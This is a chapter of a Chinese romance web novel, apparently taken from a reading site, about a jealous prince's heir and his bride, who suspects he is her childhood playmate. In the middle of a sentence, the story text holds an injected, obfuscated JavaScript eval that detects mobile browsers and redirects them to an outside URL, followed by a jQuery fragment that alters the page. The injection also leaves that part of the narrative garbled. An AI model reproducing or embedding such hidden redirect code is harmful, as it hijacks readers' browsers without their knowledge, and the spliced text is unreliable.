被哄好的小姑娘很乖很乖,脸被擦痛了也不吭声。
他放下袖子之后才发现沈莲衣白生生的包子脸被自己擦红了。
暗骂自己太粗心了,后又揪着人家的脸骂受气包,被擦痛了也不说。
“可阿洄哥哥是担心我。”沈莲衣仰起脑袋,认真地说,“擦得越痛就说明阿洄哥哥越心疼我呀。”
两个人仅差了一岁,彼时年龄都尚小,身量差得不大。
她一仰起脸,眼里还闪着莹亮的泪。
赵洄之只感觉被她眼中的澄亮撞了一下。
不自在地挪开眼睛,旁敲侧击出了她之所以眼泪汪汪,是因为有人骂她是灾星,克死了她娘。
赵洄之这哪能忍?当场就晃着她的肩逼问是谁。
他一定给他们点颜色看看!
小姑娘吓死了,怕他一个人打不过他们一群人,好说歹说才把人劝住了。
彼时的她尚不知,以这个替她擦眼泪的少年的身份,就算是把那群人吊起来打,也没人敢言语。
可现在她居然说什么“有人和你说过一样的话”,这话除了他还有谁对她说过?
这个臭丫头总不可能没认出来他就是她小时候黏着不放的好哥哥吧?
唯一的可能,便是在他不在她身边的这几年,有不要脸的公鸡趁虚而入了!
结合之前的种种迹象,赵溯理所当然地将这个罪名扣在了她那个表哥身上。
呵。
赵溯冷笑。从前怎么没发现那小子这么好手段,竟然敢抢他赵溯的人?
沈莲衣见赵溯突然又闷着了,奇怪自己何处又说错话了。
仔细想来,他和阿洄哥哥真的很像。不论是嘴硬心软的性子,还是阴晴不定的心情。
但……
沈莲衣默默瞄向赵溯置于腿上握着拳的手,青筋纵横,骨节分明,独属于少年人的生命力在下面蓬勃涌动。
世子手上有许多薄茧与疤痕。仅有的几次牵手,沈莲衣都不禁感慨,美玉无瑕与伤痕累累竟然来自同一只手。
为什么她会下意识觉得,世子应该是肤色赛雪,骄矜自贵的狸奴?
那光洁的眉间,此时只有赵溯闷声拧做一团的眉毛。
为什么她会下意识觉得,此处应该有一团红色的胎记?
她想了想,歪着头似是试探:“世子,我平日可以出门吗?”
发上点缀的小毛球也跟着晃了晃。
赵溯瞥过眼看她,想就刚刚的事闹点小脾气,看了一眼又像被烫到了,迅速转过头去,生硬地改口:“随你。”
说话就说话,笑那么可爱干嘛?
他脸红红的,闭着眼睛假寐。感觉到沈莲衣的目光又像刚才一样盯着他看了。
突然,赵溯皱起眉,正了神色:“你若要外出,先同管家说。”
上次绣楼刺客至今疑点重重,他虽已派了暗卫护她左右,可她若要独自外出,还是得防范得万无一失。
沈莲衣点点头表示了解。
心中大石落下。这下能出门给世子挑手帕料子了。
前几日问管家,他说世子穿衣随意,所以那些从宫里送来王府的料子一般都是直接送到林家绣楼成衣,做好后再送回王府。
所以送来王府的料子都干脆直接送至林家绣楼。如今这偌大的王府中还真没有一块能做手帕的好料子。
沈莲衣思索片刻还是拒绝了管家说进一些料子的建议,干脆自己出门挑。
“对了……在外头少与生人言语。”赵溯假装不经意地提醒。
沈莲衣又点了点头。
见她丝毫没意识到问题所在,赵溯又不再三提醒她:“刚刚演武场那个,乃是当朝太子,想必你也有所耳闻,他性格阴晴不定,既残暴又冷血,在东宫养了一百个侍妾,一看便是个管不住自己的……你以后,定要少与他来往。”
沈莲衣面露惊叹状,却不是被赵溯吓到的,而是有点吃惊那位气度不凡的公子竟然是太子。
至于为什么没被吓到,大概是因为沈莲衣就刚刚相处下来,只觉太子此人和煦如风,倒是赵溯的性子才叫变幻莫测。
不过此人竟然养了一百个侍妾,果然人不可貌相。
就像和世子相处下来,她觉得世子此人也挺不错。
赵溯看着她点头,心中对自己的说法满意极了,料定沈莲衣必然已知了太子此人人面兽心的形象。
到了王府,已是傍晚。
赵溯本欲如往常一样送她回正房,自己则去侧房睡。
虽然他也很想与自己的心心念念的妻子一起睡,可就算只是同床共枕,也应当是一件两厢情愿的事。
“你早些休息。”赵溯扶着门框刚要打开,就被人拉住了衣袖。
“你……”赵溯有些迟疑地转身,拉住自己衣袖的手,指甲圆润,小小一点白色映在他朱红的衣料上。
赵溯喉咙不由得一紧,心头狂跳。
他脸色肉眼可见地红了起来。
只见眼前的少女头低低垂着,耳垂绯红,头顶的发也触电似地翘起一簇,声音细若蚊喃:“世子今日……留下睡吧。”
赵溯呼吸加重,右手轻轻掐住沈莲衣下巴向上抬。
入眼的是一张涨红的小脸,眼神躲闪,颊肉被他挤得鼓起,从虎口边缘溢出,鼻息浅浅地喷在他的手上,带来微微的湿意。
赵溯眼尾泛红,喉结上下滚了滚,凑近她的脸,手掐得更用力了点,带着暗暗的较劲:“怎么?不喜欢你那个表哥了?”
语气淡淡的,带着细微的委屈。
沈莲衣眼睛都瞪大了,她何时说过她喜欢孟裕的!
还有,为什么她会有被捉奸的感觉?
“不……不是他……”好不容易两只手扒着赵溯的手从脸上扯下来,沈莲衣喘了好几口粗气,胸脯起伏,“不是孟裕。”
“还有其他人?”赵溯简直被气笑,他身体打着颤,一下子抓住了沈莲衣的手腕。
他将她反按在门扉上,脸上神情复杂。是不信,是委屈,但更多的是懊悔。
然而此刻面对这张近在咫尺、扰他心神的脸,他能看清沈莲衣瞳仁里自己的倒影。
面对世子的怒气,她的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092425|195487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上有心虚、有疑惑,却单单没有一丝怯意,为何会如此?
仿佛认定了他不会真的对自己生气一般。
沈莲衣莫名地心慌起来,好似有什么东西即将呼之欲出。
必须确认一次……
沈莲衣一鼓作气,瞧准了时机,直接踮起脚,抬手用力在赵溯眉心猛搓!
幼时,在很长的一段时日里,沈莲衣的玩伴只有表哥表姐。但他们时常玩不了多久便会被姑父叫去读书。
沈莲衣便只能在自己的小院里等爹爹下了私塾再陪她玩。
每日数流云飞鸟,看从隔壁院里杈过来的石榴枝又结了几颗果子。
直到那日。
正值金乌西下,余晖洒遍之时。
“好、好大的石榴!”
小小的沈莲衣揉着眼睛,对着石榴树上的景象不可置信。那石榴叶间赫然藏着个衣裾火红、身形干练的翩翩少年。
“笨,我乃显圣二郎真君转世,特来此降妖伏魔!”那小少年背靠着树干,做了个沈莲衣看不懂的手势作施法状。
她定睛一看,这少年乌发雪肤,马尾高束,盘腿坐在树上,眉心画了个辨认不出形状的纹样。
沈莲衣好声好气地提醒:“天眼不长这样,你画错啦。”
“还有,爹爹说树上有很多毛毛虫的,你还是快下来吧!”
赵洄之倏地炸毛了,脸色通红地张牙舞爪:“谁说是画的了?这是我天生的!天生的!”
“哪里来的妖精?竟敢诽谤本君!还、还敢迷惑本君心智!”
“本君现在就下去收了你!”
赵洄之作势就要跳下树去,这可把沈莲衣吓坏了:“你、你可别乱来……”
话音刚落,便见那红衣小少年利落地从一丈有余的树上跳下,稳稳落地,只翻起几片衣角。
察觉到少女呆愣的目光,赵洄之的内心暗爽到了极点,还好从前未曾懈怠过身法训练。
“你、你好厉害啊!”沈莲衣毫不吝啬地称赞起了赵洄之,眼里仿佛闪出星星,“你真的是神仙呀!”
小小少女平日与表哥表姐玩的都是些普通玩意,哪里见过这些,心中不禁惊叹不已。
“我早说了,我便是二郎显圣真君杨戬的转世!”赵洄之嘴角上扬,背着手在沈莲衣面前摇头晃脑,“这,便是我的天眼!”
他伸出二指抚了抚眉心印记,沈莲衣见图案完好无损,越发惊叹了:“居然是真的!”
“我还能骗你不成!”赵洄之耳尖通红,轻哼一声,却是偷偷搓了搓手指,心中松了口气,暗道好险,幸好今日花红干得快。
“说,你这个小妖偷偷使了什么术法?”赵洄之两指立于唇前,眉眼压低,另一只手两指指向沈莲衣眉心,“老实交代,我便将你从轻处理。”
“禀报真君大人,我不是妖精……”沈莲衣眼睛都瞪大了,凑近了他,满脸冤枉,“不信您看,我一点法力也没有。”
“你没有法力?”赵溯眉尾与脸颊都染上了绯红,唇角紧抿,“不可能,我的心都乱了,你定使了什么蛊惑人心的妖术……”